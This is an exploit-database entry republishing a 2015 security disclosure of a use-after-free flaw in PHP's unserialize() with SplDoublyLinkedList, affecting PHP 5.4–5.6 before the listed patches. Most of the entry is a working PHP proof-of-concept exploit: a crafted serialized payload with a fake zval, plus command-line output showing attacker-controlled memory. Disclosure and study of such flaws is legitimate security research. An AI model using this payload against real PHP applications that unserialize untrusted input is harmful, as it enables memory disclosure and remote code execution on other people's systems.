PHP SplDoublyLinkedList unserialize() Use-After-Free Vulnerabilities

2015-09-09T00:00:00
ID 1337DAY-ID-24227
Type zdt
Reporter Taoguang Chen
Modified 2015-09-09T00:00:00

Description

Exploit for php platform in category dos / poc

                                        
                                            Yet Another Use After Free Vulnerability in unserialize() with SplDoublyLinkedList
 
Taoguang Chen <[@chtg](http://github.com/chtg)> - 
Write Date: 2015.8.27 
Release Date: 2015.9.4
 
A use-after-free vulnerability was discovered in unserialize() with SplDoublyLinkedList object's deserialization and crafted object's __wakeup() magic method that can be abused for leaking arbitrary memory blocks or execute arbitrary code remotely.
 
Affected Versions
------------
Affected is PHP 5.6 < 5.6.13
Affected is PHP 5.5 < 5.5.29
Affected is PHP 5.4 < 5.4.45
 
Credits
------------
This vulnerability was disclosed by Taoguang Chen.
 
Description
------------
 
 
  while(*p == ':') {
    ++p;
    ALLOC_INIT_ZVAL(elem);
    if (!php_var_unserialize(&elem, &p, s + buf_len, &var_hash TSRMLS_CC)) {
      zval_ptr_dtor(&elem);
      goto error;
    }
 
    spl_ptr_llist_push(intern->llist, elem TSRMLS_CC);
  }
 
 
It has been demonstrated many times before that __wakeup() leads to
ZVAL is freed from memory. However during deserialization will still
allow to use R: or r: to set references to that already freed memory.
It is possible to use-after-free attack and execute arbitrary code
remotely.
 
Proof of Concept Exploit
------------
The PoC works on standard MacOSX 10.11 installation of PHP 5.6.12.
 
 
<?php
 
class obj {
  var $ryat;
  function __wakeup() {
    $this->ryat = 1;
  }
}
 
$fakezval = ptr2str(1122334455);
$fakezval .= ptr2str(0);
$fakezval .= "\x00\x00\x00\x00";
$fakezval .= "\x01";
$fakezval .= "\x00";
$fakezval .= "\x00\x00";
 
$inner = 'i:1234;:i:1;';
$exploit = 'a:5:{i:0;i:1;i:1;C:19:"SplDoublyLinkedList":'.strlen($inner).':{'.$inner.'}i:2;O:3:"obj":1:{s:4:"ryat";R:3;}i:3;a:1:{i:0;R:5;}i:4;s:'.strlen($fakezval).':"'.$fakezval.'";}';
 
$data = unserialize($exploit);
 
var_dump($data);
 
function ptr2str($ptr)
{
  $out = '';
  for ($i = 0; $i < 8; $i++) {
    $out .= chr($ptr & 0xff);
    $ptr >>= 8;
  }
  return $out;
}
 
?>
 
 
Test the PoC on the command line:
 
 
$ php uafpoc.php
array(5) {
  [0]=>
  int(1)
  [1]=>
  &int(1)
  [2]=>
  object(obj)#2 (1) {
    ["ryat"]=>
    &int(1)
  }
  [3]=>
  array(1) {
    [0]=>
    int(1122334455)  <===  so we can control the memory and create fake ZVAL :)
  }
  [4]=>
  string(24) "?v?B????"
}

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